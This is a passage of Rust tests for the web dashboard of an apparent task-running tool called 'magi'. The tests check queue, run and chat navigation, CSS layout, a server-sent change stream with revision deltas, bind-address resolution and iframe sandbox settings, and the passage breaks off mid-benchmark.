17745 #[test]
17746 fn a_question_view_carries_markdown_for_each_thread_turn() {
17747 let home = TempDir::new().unwrap();
17748 let store = ask::Questions::at(home.path().join("questions"));
17749 let mut q = Question::new(
17750 "run".to_owned(),
17751 "implement".to_owned(),
17752 "impl-A".to_owned(),
17753 "which?".to_owned(),
17754 String::new(),
17755 Vec::new(),
17756 );
17757 q.say("plain words").unwrap();
17758 q.reply("use **this**", Vec::new()).unwrap();
17759 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
17760 let bodies = &v["thread_bodies_md"];
17761 assert_eq!(bodies.as_array().unwrap().len(), 2);
17762 assert!(!bodies[0].to_string().contains("strong"));
17763 assert!(bodies[1].to_string().contains("strong"));
17764 }
17765
17766 #[test]
17767 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
17768 let home = TempDir::new().unwrap();
17769 let store = ask::Questions::at(home.path().join("questions"));
17770 let mut q = Question::new(
17771 "run".to_owned(),
17772 "conduct".to_owned(),
17773 "conduct".to_owned(),
17774 "which?".to_owned(),
17775 String::new(),
17776 Vec::new(),
17777 );
17778 q.say("plain words").unwrap();
17779 q.thread.push(ask::Turn {
17780 who: ask::Who::Agent,
17781 body: "Settled as `merge`".to_owned(),
17782 at: jiff::Timestamp::now(),
17783 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
17784 });
17785 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
17786 let notes = &v["thread_notes_md"];
17787 assert_eq!(notes.as_array().unwrap().len(), 2);
17788 assert!(notes[0].is_null());
17789 let text = notes[1].to_string();
17790 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
17791 assert!(APP_JS.contains("ask-turn-note"));
17792 }
17793
17794 #[test]
17795 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
17796 assert!(APP_JS.contains("function landView(run, raw) {"));
17800 assert!(
17801 APP_JS.contains(
17802 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
17803 )
17804 );
17805 assert!(APP_JS.contains("const pr = landView(run, raw);"));
17806 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
17807 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
17808 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
17809 }
17810
17811 #[test]
17812 fn live_runs_are_never_hidden_or_folded_as_superseded() {
17813 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
17814 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
17815 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
17816 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
17817 }
17818
17819 #[test]
17820 fn review_rounds_label_a_distinct_verified_head() {
17821 assert!(APP_JS.contains("round.verified_head"));
17822 assert!(APP_JS.contains("verified HEAD"));
17823 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
17824 }
17825
17826 #[test]
17827 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
17828 assert!(APP_JS.contains("blocked: { glyph:"));
17832 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
17833
17834 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
17838 assert!(
17839 APP_JS.contains(
17840 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
17841 ),
17842 "the note line must name what a blocked task is waiting on, not just that it is blocked"
17843 );
17844 assert!(APP_JS.contains("if (status === \"blocked\") {"));
17848
17849 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
17853 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
17854 assert!(
17855 APP_JS.contains("location.hash = \"#/questions\";"),
17856 "a question node must jump to the Questions screen, not pretend to be a task"
17857 );
17858
17859 assert!(APP_JS.contains("Resolved questions"));
17862 assert!(APP_JS.contains("r.answersList.append("));
17863 assert!(APP_CSS.contains(".task-answers"));
17864 {
17865 let start = APP_JS
17866 .find("function updateTalkTaskRow")
17867 .expect("updateTalkTaskRow");
17868 let body = &APP_JS[start..];
17869 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
17870 assert!(
17871 body.contains(
17872 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
17873 ),
17874 "a chat-filed task row must link to the task page"
17875 );
17876 assert!(
17877 !body.contains("#/runs/") && !body.contains("#/queue/"),
17878 "the row must not branch to a run or the queue card"
17879 );
17880 assert!(APP_CSS.contains(".talk-task-link"));
17881 }
17882 }
17883
17884 #[test]
17885 fn a_task_notification_links_to_the_task_page() {
17886 let start = APP_JS
17888 .find("function noticeLink(")
17889 .expect("noticeLink exists");
17890 let body = &APP_JS[start..];
17891 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
17892 assert!(
17893 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
17894 "a task notice's link must target the task page"
17895 );
17896 assert!(
17897 !body.contains("#/queue/"),
17898 "regression: the task link must not go back to the Backlog route"
17899 );
17900 assert!(
17901 APP_JS.contains(
17902 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
17903 ),
17904 "`#/tasks/<id>` must parse into the task route"
17905 );
17906
17907 assert!(
17909 APP_JS.contains(
17910 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
17911 ),
17912 "`#/queue/<id>` must parse into a route carrying that id"
17913 );
17914
17915 assert!(APP_JS.contains("state.queueFocus = route.id;"));
17919 assert!(APP_JS.contains("function consumeQueueFocus()"));
17920 assert!(APP_JS.contains("jumpToTask(id)"));
17921 }
17922
17923 #[test]
17926 fn chat_rows_put_the_title_alone_on_the_first_line() {
17927 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
17928 assert!(APP_CSS.contains(
17929 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
17930 ));
17931 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
17932 assert!(APP_JS.contains("class: \"badge talk-unread\""));
17933 }
17934
17935 #[test]
17936 fn run_rows_put_the_title_alone_on_the_first_line() {
17937 assert!(
17938 APP_CSS.contains(
17939 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
17940 )
17941 );
17942 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
17943 assert!(APP_JS.contains("class: \"card run-card\""));
17944 assert!(APP_JS.contains("class: \"repo run-id\""));
17945 }
17946
17947 #[test]
17951 fn wide_screens_show_list_and_preview_side_by_side() {
17952 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
17954 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
17955 assert!(APP_CSS.contains("main[data-split]"));
17956 assert!(APP_CSS.contains("body[data-split]"));
17957
17958 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
17960 assert!(
17961 APP_JS.contains(
17962 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
17963 )
17964 );
17965 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
17966 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
17967 assert!(INDEX_HTML.contains("id=\"split-empty\""));
17968
17969 assert!(APP_JS.contains("function markSelected() {"));
17971 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
17972 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
17973 assert!(
17975 APP_CSS.contains(
17976 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
17977 )
17978 );
17979
17980 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
17982 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
17983 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
17984 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
17985
17986 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
17990 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
17991 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
17992 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
17993
17994 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
17996 }
17997
17998 #[test]
17999 fn panel_sandbox_carries_exactly_popups() {
18000 let needle = "sandbox: \"";
18001 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
18002 assert_eq!(
18003 matches.len(),
18004 1,
18005 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
18006 );
18007 let start = matches[0].0 + needle.len();
18008 let end = APP_JS[start..]
18009 .find('"')
18010 .expect("sandbox attribute value must be terminated by a closing quote");
18011 let val = &APP_JS[start..start + end];
18012 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
18013 let expected: std::collections::BTreeSet<&str> =
18014 ["allow-popups", "allow-popups-to-escape-sandbox"]
18015 .into_iter()
18016 .collect();
18017 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
18018 assert!(
18019 !tokens.contains("allow-scripts"),
18020 "allow-scripts must never be present in sandbox"
18021 );
18022 assert!(
18023 !tokens.contains("allow-same-origin"),
18024 "allow-same-origin must never be present in sandbox"
18025 );
18026 }
18027
18028 #[test]
18029 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
18030 assert!(
18039 APP_JS.contains(
18040 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
18041 ),
18042 "the search-clearing branch must run before state.queueFocus is cleared, or the \
18043 recursive renderQueue() call has nothing left to jump to"
18044 );
18045 assert!(
18046 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
18047 "state.queueFocus must be cleared only once the jump has landed, so a card that \
18048 arrives later still gets it"
18049 );
18050 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
18051 assert!(APP_JS.contains("is not in the current Backlog."));
18052 assert!(APP_JS.contains("li.card[data-task-id=\""));
18053 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
18054 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
18055 assert!(APP_CSS.contains(".card-permalink"));
18056 assert!(APP_CSS.contains(".queue-focus-status"));
18057 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
18058 }
18059
18060 #[test]
18061 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
18062 assert!(
18070 APP_JS.contains(
18071 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
18072 ),
18073 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
18074 );
18075 }
18076
18077 #[test]
18078 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
18079 assert!(
18080 APP_JS.contains("round.verified_head !== round.head"),
18081 "a round that verified an earlier commit must be visibly distinct from one that \
18082 verified the head reviewers are looking at now"
18083 );
18084 assert!(
18085 APP_JS.contains("round.verified_at"),
18086 "when a check ran must be on the wire, not just which commit"
18087 );
18088 assert!(
18089 APP_JS.contains("resource_blocked"),
18090 "a command magi never got to run (shared build cache contention) must not render \
18091 the same as a command that ran and failed"
18092 );
18093 }
18094
18095 #[test]
18096 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
18097 assert!(
18105 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
18106 "every KPI tile built through statusTile() must route its click through \
18107 openRunsFiltered, the single place that sets the Runs filter"
18108 );
18109 for (label, status) in [
18110 ("Merged", "merged"),
18111 ("Ready", "ready"),
18112 ("Blocked", "blocked"),
18113 ("Stalled", "stalled"),
18114 ] {
18115 let call = format!("statusTile(\"{label}\", t.{status}, ");
18116 assert!(
18117 APP_JS.contains(&call),
18118 "expected the {label} KPI tile built via {call}..."
18119 );
18120 assert!(
18121 APP_JS.contains(&format!("status === \"{status}\"")),
18122 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
18123 compare a run against, not one invented only for the stats tile"
18124 );
18125 }
18126 assert!(
18127 APP_JS.contains("function openRunsFiltered(status)"),
18128 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
18129 );
18130 assert!(
18131 APP_JS.contains(
18132 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
18133 ),
18134 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
18135 );
18136 assert!(
18144 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
18145 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
18146 hashchange event that may never fire"
18147 );
18148 }
18149
18150 #[test]
18151 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
18152 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
18158 assert!(
18159 APP_JS.contains(
18160 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
18161 ),
18162 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
18163 guard for an incompatible tree section"
18164 );
18165 }
18166
18167 #[test]
18168 fn every_stats_queue_tile_names_a_real_queue_section() {
18169 assert!(
18175 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
18176 "every queue tile built through sectionTile() must route its click through \
18177 openQueueSectionFocus"
18178 );
18179 for key in ["upnext", "running", "done", "held", "blocked"] {
18180 assert!(
18181 APP_JS.contains(&format!("{{ key: \"{key}\",")),
18182 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
18183 );
18184 }
18185 for line in [
18189 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
18190 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
18191 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
18192 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
18193 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
18194 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
18195 ] {
18196 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
18197 }
18198 }
18199
18200 #[test]
18201 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
18202 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
18209 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
18210 assert!(APP_JS.contains("function revealQueueSection(details)"));
18211 assert!(
18212 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
18213 "renderQueue() must consume both focus channels on every pass"
18214 );
18215 assert!(
18216 APP_JS.contains(
18217 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
18218 ),
18219 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
18220 the recursive renderQueue() call has nothing left to reveal"
18221 );
18222 assert!(
18223 APP_JS.contains(
18224 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
18225 ),
18226 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
18227 );
18228 assert!(
18236 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
18237 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
18238 hashchange event that may never fire"
18239 );
18240 }
18241
18242 #[tokio::test]
18243 async fn the_change_stream_announces_the_current_revisions_on_connect() {
18244 let f = Fixture::start().await;
18245
18246 let mut socket = tokio::net::TcpStream::connect(f.addr)
18247 .await
18248 .expect("connect");
18249 socket
18250 .write_all(
18251 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
18252 )
18253 .await
18254 .expect("write request");
18255
18256 let mut seen = String::new();
18259 let mut buf = [0u8; 1024];
18260 while !seen.contains("event: change") {
18261 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
18262 .await
18263 .expect("the stream must speak within five seconds")
18264 .expect("read");
18265 assert!(read > 0, "the server closed the change stream: {seen}");
18266 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
18267 }
18268
18269 assert!(
18270 seen.to_lowercase()
18271 .contains("content-type: text/event-stream"),
18272 "the browser only reconnects automatically for a real SSE stream: {seen}"
18273 );
18274 let data = seen
18275 .lines()
18276 .find_map(|l| l.strip_prefix("data:"))
18277 .expect("a data line");
18278 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
18279 assert!(
18280 payload["queue_rev"].is_u64()
18281 && payload["runs_rev"].is_u64()
18282 && payload["questions_rev"].is_u64()
18283 && payload["talks_rev"].is_u64()
18284 && payload["notifications_rev"].is_u64()
18285 && payload["loop_rev"].is_u64(),
18286 "the client needs one revision per store to know what to refetch, \
18287 and `talks_rev` is the only notification a standing talk gets - a \
18288 phone whose radio slept through a turn learns about it here, as \
18289 does one whose operator started the loop from another device: \
18290 {payload}"
18291 );
18292
18293 let health = f.get("/api/health").await.json();
18300 for key in [
18301 "queue_rev",
18302 "runs_rev",
18303 "questions_rev",
18304 "talks_rev",
18305 "notifications_rev",
18306 "loop_rev",
18307 ] {
18308 assert!(
18309 health[key].is_u64(),
18310 "health is the change stream's fallback and is missing `{key}`: {health}"
18311 );
18312 }
18313 }
18314
18315 #[tokio::test]
18316 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
18317 let f = Fixture::start().await;
18318 let before = f.get("/api/health").await.json()["talks_rev"]
18319 .as_u64()
18320 .expect("talks_rev");
18321
18322 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
18323 std::thread::sleep(Duration::from_millis(10));
18324 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
18325 on_disk.turns.push(crate::talk::Turn {
18326 sender: None,
18327 breaks: Some(Vec::new()),
18328 messages: Vec::new(),
18329 posted_by: None,
18330 who: crate::talk::Who::Operator,
18331 body: "a new turn".to_owned(),
18332 at: Timestamp::now(),
18333 attachments: Vec::new(),
18334 usage: None,
18335 });
18336 f.talks().put(&mut on_disk).expect("record a turn");
18337
18338 let after = f.get("/api/health").await.json()["talks_rev"]
18339 .as_u64()
18340 .expect("talks_rev");
18341 assert_ne!(
18342 before, after,
18343 "a phone must be able to notice a talk's reply without polling every store"
18344 );
18345 }
18346
18347 #[test]
18348 fn bind_reads_back_from_the_spelling_the_cli_prints() {
18349 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
18353 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
18354 }
18355 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
18356 assert!("everywhere".parse::<Bind>().is_err());
18357 }
18358
18359 #[test]
18360 fn an_explicit_bind_address_is_taken_verbatim() {
18361 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
18362
18363 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
18364
18365 assert_eq!(addr, asked);
18366 assert!(
18367 warning.is_none(),
18368 "an operator who named an address gets no lecture"
18369 );
18370 }
18371
18372 #[test]
18373 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
18374 let (addr, warning) = resolve_bind(&Bind::Auto);
18375
18376 match addr {
18383 IpAddr::V4(ip) if is_tailnet(&ip) => {
18384 assert!(warning.is_none(), "a tailnet address needs no warning");
18385 }
18386 other => {
18387 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
18388 let warning = warning.expect("a fallback has to explain itself");
18389 assert!(
18390 warning.contains("127.0.0.1") && warning.contains("local-only"),
18391 "the warning says what happened and what it costs: {warning}"
18392 );
18393 }
18394 }
18395 }
18396
18397 #[test]
18398 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
18399 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
18403 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
18404 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
18405 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
18406 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
18407 }
18408
18409 #[test]
18410 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
18411 let ids = vec![
18412 "20260902-140501-aaaa".to_owned(),
18413 "20260902-140502-aabb".to_owned(),
18414 ];
18415
18416 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
18417 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
18418 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
18419
18420 assert_eq!(missing.status, StatusCode::NOT_FOUND);
18421 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
18422 assert_eq!(short, "20260902-140502-aabb");
18423 }
18424 #[tokio::test]
18425 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
18426 let fx = Fixture::start().await;
18432 let id = panel(
18433 &fx,
18434 "<img src=\"shot.png\">",
18435 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
18436 );
18437
18438 let doc = fx
18440 .get(&format!("/api/questions/{id}/panel/index.html"))
18441 .await;
18442 assert_eq!(doc.status, 200, "{}", doc.body);
18443 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
18444
18445 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
18446 assert_eq!(sibling.status, 200, "{}", sibling.body);
18447 assert_eq!(sibling.header("content-type"), Some("image/png"));
18448 assert_eq!(
18449 sibling.header("content-security-policy"),
18450 Some(PANEL_CSP),
18451 "the sibling route must carry the same policy as the asset route"
18452 );
18453
18454 assert_eq!(
18457 fx.head(&format!("/api/questions/{id}/panel")).await.status,
18458 200
18459 );
18460 }
18461
18462 #[test]
18463 fn delta_stamps_cover_add_update_remove_and_noop() {
18464 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
18465 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
18466 let delta = diff_stamps(&before, &after, 42);
18467 assert_eq!(delta.base, 42);
18468 assert_eq!(delta.changed, ["b", "c"]);
18469 assert_eq!(delta.removed, ["a"]);
18470 let same = diff_stamps(&after, &after, 43);
18471 assert!(same.changed.is_empty() && same.removed.is_empty());
18472 assert_ne!(stamps_revision(&before), stamps_revision(&after));
18473 let nanos: Stamps = [("b".into(), (2, 20))].into();
18474 let same_ms: Stamps = [("b".into(), (3, 20))].into();
18475 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
18476 assert_eq!(stamps_revision(&Stamps::new()), 0);
18477 }
18478
18479 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
18480 std::fs::create_dir_all(home.join("runs")).unwrap();
18481 Arc::new(Ui::new(
18482 Queue::at(home.join("queue")),
18483 Questions::at(home.join("questions")),
18484 Talks::at(home.join("talks")),
18485 home.join("runs"),
18486 home.to_owned(),
18487 PathBuf::from("/repo/magi"),
18488 ))
18489 }
18490
18491 #[tokio::test]
18492 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
18493 let home = TempDir::new().unwrap();
18494 let ui = delta_test_ui(home.path());
18495 let mut task = Task::new(
18496 "stream task".into(),
18497 "text".into(),
18498 PathBuf::from("/repo"),
18499 Source::Human,
18500 );
18501 ui.queue.put(&mut task).unwrap();
18502 let response = events(State(ui.clone())).await.into_response();
18503 let mut stream = response.into_body().into_data_stream();
18504 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
18505 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
18506 .await
18507 .unwrap()
18508 .unwrap()
18509 .unwrap();
18510 let text = String::from_utf8(chunk.to_vec()).unwrap();
18511 let data = text
18512 .lines()
18513 .find_map(|line| {
18514 line.strip_prefix("data: ")
18515 .or_else(|| line.strip_prefix("data:"))
18516 })
18517 .unwrap();
18518 serde_json::from_str(data).unwrap()
18519 }
18520 let initial = change(&mut stream).await;
18521 assert!(initial.get("queue_delta").is_none());
18522 task.instruction.push_str(" changed");
18523 ui.queue.put(&mut task).unwrap();
18524 let updated = change(&mut stream).await;
18525 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
18526 assert_eq!(
18527 updated["queue_delta"]["changed"],
18528 serde_json::json!([task.id])
18529 );
18530 assert_eq!(
18531 updated["queue_rev"].as_u64(),
18532 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
18533 );
18534 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
18535 let removed = change(&mut stream).await;
18536 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
18537 assert_eq!(
18538 removed["queue_delta"]["removed"],
18539 serde_json::json!([task.id])
18540 );
18541 }
18542
18543 #[tokio::test]
18544 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
18545 let home = TempDir::new().unwrap();
18546 let ui = delta_test_ui(home.path());
18547 let queue = ui.queue.clone();
18548 let query = |ids: Option<&str>| {
18549 Query(ListQuery {
18550 limit: Some(2),
18551 ids: ids.map(str::to_owned),
18552 })
18553 };
18554 let mut root = Task::new(
18555 "root".into(),
18556 "instruction".into(),
18557 PathBuf::from("/repo"),
18558 Source::Human,
18559 );
18560 queue.put(&mut root).unwrap();
18561 let mut blocked = Task::new(
18562 "blocked".into(),
18563 "instruction".into(),
18564 PathBuf::from("/repo"),
18565 Source::Human,
18566 );
18567 blocked.block(vec![root.id.clone()], None);
18568 queue.put(&mut blocked).unwrap();
18569 let whole =
18570 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
18571 .unwrap();
18572 let subset = serde_json::to_value(
18573 queue_list(State(ui.clone()), query(Some(&root.id)))
18574 .await
18575 .unwrap()
18576 .0,
18577 )
18578 .unwrap();
18579 assert_eq!(whole, subset, "requested root plus its blocked dependent");
18580 let blockers = serde_json::to_value(
18581 queue_list(State(ui.clone()), query(Some("")))
18582 .await
18583 .unwrap()
18584 .0,
18585 )
18586 .unwrap();
18587 assert_eq!(blockers.as_array().unwrap().len(), 1);
18588 assert_eq!(blockers[0]["id"], blocked.id);
18589 assert_eq!(
18590 blockers[0]["waits_on"],
18591 whole
18592 .as_array()
18593 .unwrap()
18594 .iter()
18595 .find(|row| row["id"] == blocked.id)
18596 .unwrap()["waits_on"]
18597 );
18598
18599 for id in [
18600 "20260902-140501-aaaa",
18601 "20260902-140502-bbbb",
18602 "20260902-140503-cccc",
18603 ] {
18604 write_run(&ui.runs, id, RunStatus::Merged);
18605 }
18606 let old = serde_json::to_value(
18607 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
18608 .await
18609 .unwrap()
18610 .0,
18611 )
18612 .unwrap();
18613 assert!(
18614 old.as_array().unwrap().is_empty(),
18615 "older updates must not enter the window"
18616 );
18617 let newest = serde_json::to_value(
18618 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
18619 .await
18620 .unwrap()
18621 .0,
18622 )
18623 .unwrap();
18624 assert_eq!(newest.as_array().unwrap().len(), 1);
18625 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
18626
18627 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
18628 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
18629 let talks = serde_json::to_value(
18630 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
18631 .await
18632 .unwrap()
18633 .0,
18634 )
18635 .unwrap();
18636 assert_eq!(talks.as_array().unwrap().len(), 1);
18637 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
18638 assert_eq!(
18639 serde_json::to_value(
18640 talks_list(State(ui.clone()), query(Some("")))
18641 .await
18642 .unwrap()
18643 .0
18644 )
18645 .unwrap(),
18646 serde_json::json!([])
18647 );
18648 }
18649
18650 #[tokio::test]
18651 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
18652 async fn delta_payload_benchmark() {
18653 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
18654 let ui = delta_test_ui(&home);
18655 let query = |ids: Option<String>| {
18656 Query(ListQuery {
18657 limit: Some(50),
18658 ids,
18659 })
18660 };
18661 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
18662 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
18663 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
18664 let queue_id = queue
18665 .iter()
18666 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
18667 .unwrap_or(&queue[0])
18668 .task
18669 .id
18670 .clone();
18671 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
18672 .await
18673 .unwrap()
18674 .0;
18675 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
18676 .await
18677 .unwrap()
18678 .0;
18679 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
18680 .await
18681 .unwrap()
18682 .0;
18683 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
18684 eprintln!(
18685 "DELTA_PAYLOAD {}",
18686 serde_json::json!({
18687 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
18688 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
